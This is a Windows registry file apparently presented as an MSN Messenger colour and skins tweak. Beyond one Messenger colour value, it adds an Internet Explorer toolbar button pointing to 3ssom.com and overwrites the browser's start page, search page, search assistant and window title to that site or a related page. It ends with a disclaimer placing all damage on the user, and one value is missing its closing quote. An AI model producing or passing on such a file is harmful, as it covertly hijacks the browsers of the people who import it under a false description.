REGEDIT4

[HKEY_USERS\.DEFAULT\Software\Microsoft\MessengerService]
"IM Color"=hex:ff,00,ff,00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extensions\{FB5F1910-F110-11d2-BB9E-00C04F795683}]
"CLSID"="{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}"
"Exec"="http://3ssom.com"
"Default Visible"="Yes"
"HotIcon"="C:\\Program Files\\Messenger\\MSMSGS.EXE,302"
"Icon"="C:\\Program Files\\Messenger\\MSMSGS.EXE,301"
"MenuText"="MSN Messenger Service"
"ButtonText"="MSN SKINS"
"ToolTip"="MSN Messenger Service"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Search]
"SearchAssistant"="http://members.home.nl/t.gorissen/msn.htm"
"CustomizeSearch"="http://ie.search.msn.com/{SUB_RFC1766}/srchasst/srchcust.htm

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL"="www.3ssom.com"
"Default_Search_URL"="www.3ssom.com"
"Search Page"="www.3ssom.com"
"Enable_Disk_Cache"="yes"
"Cache_Percent_of_Disk"=hex:0a,00,00,00
"Delete_Temp_Files_On_Exit"="yes"
"Local Page"="www.3ssom.com"
"Anchor_Visitation_Horizon"=hex:01,00,00,00
"Use_Async_DNS"="yes"
"Placeholder_Width"=hex:1a,00,00,00
"Placeholder_Height"=hex:1a,00,00,00
"Start Page"="www.3ssom.com"
"CompanyName"="Microsoft Corporation"
"Custom_Key"="msn"
"Wizard_Version"="5.50.4134.100"
"FullScreen"="no"
"Venstertitel"="www.3ssom.com"

For more msn stuff check

http://3ssom.com

Any damage to software resulting from using this 
software will be the responsibility of the user.